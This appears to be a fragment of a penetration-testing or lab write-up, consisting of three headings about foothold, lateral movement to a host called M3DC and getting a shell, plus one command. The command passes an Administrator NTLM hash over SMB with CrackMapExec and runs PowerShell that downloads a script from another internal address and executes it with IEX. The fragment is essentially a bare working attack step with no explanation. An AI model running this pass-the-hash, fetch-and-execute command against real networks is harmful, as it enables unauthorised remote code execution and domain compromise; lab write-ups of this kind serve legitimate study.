Initial Foothold

Lateral Movement to M3DC

Getting the Shell

cme smb 10.9.20.10 -u Administrator -H 5a0618a9e03bd9fa9efbe142468afed5 -X "(New-Object System.Net.WebClient).DownloadString('http://10.10.15.207:80/am.txt') | IEX"